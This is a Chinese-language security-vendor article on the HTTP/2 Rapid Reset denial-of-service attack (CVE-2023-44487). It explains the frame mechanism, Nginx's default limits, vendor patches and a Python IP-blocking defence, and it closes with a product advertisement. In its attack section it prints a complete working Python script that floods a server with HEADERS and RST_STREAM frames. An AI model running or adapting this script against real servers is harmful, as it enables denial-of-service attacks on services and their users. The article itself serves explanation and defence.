您的位置: 新闻资讯 > 行业动态 > 正文

Python HTTP/2 快速重置 DOS 攻击:一场网络安全的攻防战(图文)


来源:mozhe 2024-11-04

近期,Python HTTP/2 的快速重置 DOS 攻击在业界引起了广泛关注。这种攻击规模巨大,影响范围极广。
根据相关报道,创纪录的 DDoS 攻击利用了 HTTP/2 快速重置漏洞(CVE-2023 - 44487),攻击中有 89 次超过了 1 亿请求每秒(RPS)。本季度的 HTTP DDoS 攻击请求总数达到了 8.9 万亿次,而上季度为 5.4 万亿次,上年第一季度为 4.7 万亿次,去年第四季度为 6.5 万亿次。攻击的峰值流量达到了约 2.5 亿请求每秒,持续时间约为 3 分钟。
不仅如此,攻击者能够利用仅由 20,000 台机器组成的僵尸网络发起此类攻击,这相当于之前有记录以来最大攻击规模的三倍。整个 web 网络通常每秒处理 10 - 30 亿个请求,而这种攻击可以将整个 web 网络的请求数量等级集中在少数目标上。
这种攻击对多个服务提供商造成了影响,包括亚马逊网络服务(AWS)、Cloudflare 和 Google Cloud 等。同时,受到 HTTP DDoS 攻击的行业主要包括游戏、IT、加密货币、计算机软件和电信等。在应用层(L7)DDoS 攻击的源头中,美国、中国、巴西、德国和印度尼西亚排名最高。另一方面,美国、新加坡、中国、越南和加拿大成为 HTTP DDoS 攻击的主要目标。
总之,Python HTTP/2 的快速重置 DOS 攻击引起了业界的高度关注,其巨大的攻击规模和广泛的影响范围给网络安全带来了严峻挑战。

二、攻击原理深剖析


(一)协议特性与漏洞利用


HTTP/2 协议的一个重要更新点是单连接上的多路复用特性。这意味着 HTTP/2 协议允许在单个连接上同时发送多个请求,每个 HTTP 请求和响应都使用不同的流。这些数据流被称为数据帧,其中比较重要的包括 SETTINGS 帧和 RST_STREAM 帧。
SETTINGS 帧是控制消息,用于传递关于 http2 连接的配置参数,例如 SETTINGS_MAX_CONCURRENT_STREAMS 定义连接上的最大并发流数目。RST_STREAM 帧则可以直接取消一个流。当客户端不想再接收服务端的响应时,可以直接发送 RST_STREAM 帧,服务端收到后会直接关闭该流。
攻击者正是利用了这一特性,通过持续发送 HEADERS、RST_STREAM 帧组合来消耗服务器资源。客户端可以不停向服务器发送请求,中间不用等待任何响应,导致服务器陷入接受请求 - 处理请求 - 直接结束请求的循环中。这种攻击方式可以造成服务器资源的大量消耗,进而影响服务器正常请求的处理,最终导致拒绝服务攻击(DDoS)。

(二)代码示例与效果呈现


以下是用 Python 编写的攻击代码:

 
#!/usr/bin/env python3
import socket
import ssl
import certifi
import h2.connection
import h2.events
SERVER_NAME = '127.0.0.1'
SERVER_PORT = 443
# generic socket and ssl configurations
socket.setdefaulttimeout(15)
ctx = ssl.create_default_context(cafile=certifi.where())
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])
# open a socket to the server and initiate TLS/SSL
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
headers = [(':method', 'GET'),(':path', '/'),(':authority', SERVER_NAME),]
while True:
stream_id = c.get_next_available_stream_id()
print(stream_id)
c.send_headers(stream_id, headers, end_stream=True)
s.sendall(c.data_to_send())
c.reset_stream(stream_id)
s.sendall(c.data_to_send())
# tell the server we are closing the h2 connection
c.close_connection()
s.sendall(c.data_to_send())
# close the socket
s.close()
这段代码不断发送 HEADERS 帧和 RST_STREAM 帧序列。在本地或者云搭建好相应的服务器环境,使用 HTTP/2 协议,用这个 py 脚本进行测试运行时,可以看到服务器负载快速增加,并且出现明显卡顿。
这是因为攻击者通过不断发送请求和取消请求的操作,让服务器陷入了忙碌的循环中,消耗了大量的服务器资源,从而导致服务器性能下降,出现负载增加和卡顿的情况。

三、Nginx 的应对之策


(一)默认配置的优势


Nginx 中有如下的默认值配置,使得该攻击对 Nginx 基本无影响:keepalive_requests 保持默认配置 1000,http2_max_concurrent_streams 保持默认配置 128。
keepalive_requests 的作用在于限制一个 HTTP/2 TCP 连接上的请求总数量。当 ngx_http_v2_create_stream () 创建一个流时,会增加该 TCP 连接上的一个请求计数。而每次收到 HEADERS 帧时,ngx_http_v2_state_headers 会判断当前 tcp 连接上的请求数量是否已经达到最大值。由于 keepalive_requests 配置的默认值为 1000,所以即使利用 HEADERS、RST_STREAM 帧序列来构造快速重置攻击,Nginx 也能够限制一个 TCP 连接上的请求总数量为 1000 个。
http2_max_concurrent_streams 则用于限制连接上的最大并发流数目。出于对性能和资源消耗的考虑,NGINX 将默认的并发流地数量限制为 128。这样可以有效防止大量并发流对服务器资源的过度消耗。

(二)版本差异与限制策略


Nginx 1.19.7 及其之后版本是通过 keepalive_requests 来限制一个 HTTP/2 TCP 连接上请求总数量。1.19.7 之前的版本是通过 http2_max_requests 来实现该目的。
如果攻击者想持续利用该漏洞,就不得不新建新的 TCP 连接。此时可以继续结合标准的 L4 监控告警工具来进一步加强防护。当攻击者面对 Nginx 的这些限制时,可能会尝试创建更多连接来绕过限制,但如果 NGINX 配置的 keepalive 数量明显高于默认和推荐设置,攻击可能会耗尽系统资源。而标准四层监控和警报工具就会发出告警,让管理员能够及时采取措施应对攻击。

四、漏洞预防与防护


(一)供应商更新


Microsoft 已发布 IIS (HTTP.sys) 和.NET (Kestrel) 的更新。Apache 软件基金会发布了 Tomcat 的更新,F5 发布了 Nginx 的更新。这些供应商的更新对于修复 HTTP/2 的快速重置 DOS 攻击漏洞至关重要。遵循供应商的建议,及时进行更新是防范此类攻击的重要措施之一。及时更新可以确保系统的安全性和稳定性,防止攻击者利用已知漏洞进行攻击。

(二)自主防护措施


在面对 Python HTTP/2 的快速重置 DOS 攻击时,可以利用 Python 实现一些 DOS 攻击防范方法。例如,可以通过采集 TCP 连接数据,检测连接数量最多的 IP 地址,并调用防火墙命令封锁攻击源 IP 地址。以下是相关代码示例:

 
import os, time
from collections import Counter
# 采集连接数量最多的 IP 地址
def get_most_ip():
result = os.popen('netstat -ant | grep :80').read()
line_list = result.split('\n')
ip_list = []
for line in line_list:
try:
temp_list = line.split()
ip = temp_list[4].split(':')[0]
ip_list.append(ip)
except:
pass
dict = Counter(ip_list)
most_ip = dict.most_common(1)
return most_ip[0][0]
# 调用 firewall-cmd 防火墙命令封锁攻击源 IP 地址
def firewall_ip(ip):
result = os.popen(f"firewall-cmd --add-rich-rule='rule family=ipv4 source address={ip} port port=80 protocol=tcp reject'").read()
if 'success' in result:
print(f"已经成功将可疑攻击源 {ip} 进行封锁,流量将不再进入.")
else:
print(f"对可疑攻击源 {ip} 进行封锁时失败,转为人工处理.")
此外,还可以通过采集 CPU 的平均负载、netstat -ant 的连接数量以及队列长度等数据,对系统进行实时监测。当采集到的数据超过一定阈值时,发出预警提醒,并采取相应的防御措施。例如,当 CPU 使用率大于 50%、连接数量大于 500 且接收队列长度大于发送队列长度减 10 时,判断存在 DOS 攻击的可能性,并自动封锁可疑攻击源 IP 地址。
总之,通过自主防护措施,可以在一定程度上增强系统的安全性,防范 Python HTTP/2 的快速重置 DOS 攻击。
 

墨者安全 防护盾

墨者安全作为专业级别安全防护专家,在应对 Webshell 风险隐患方面展现出了卓越的能力。其拥有全面的检测机制,能够精准识别 Webshell 的各种类型和变体,无论是复杂的大马,还是隐蔽的内存马,都难逃其敏锐的监测。
墨者安全防护盾具备强大的实时监控功能,对服务器的各项活动进行 7*24 小时不间断的监视。一旦发现任何可疑的 Webshell 活动迹象,立即发出警报,并迅速采取隔离和清除措施,将风险扼杀在萌芽状态。
在防护策略上,墨者安全防护盾采用了多层次的防御体系。不仅能够在网络层面阻挡外部的恶意访问和攻击,还能深入系统内部,对服务器的文件系统、进程等进行深度检查和保护,确保 Webshell 无法植入和运行。
同时,墨者安全防护盾拥有快速的应急响应能力。当 Webshell 攻击事件发生时,专业的安全团队能够迅速介入,进行深入的分析和处理,最大程度减少攻击带来的损失,并帮助用户快速恢复服务器的正常运行。
墨者安全防护盾还注重用户教育和培训,为用户提供关于 Webshell 防范的专业知识和最佳实践,帮助用户提升自身的安全意识和防范能力,共同构建坚实的网络安全防线。

热门文章

X

7x24 小时

免费技术支持

15625276999


-->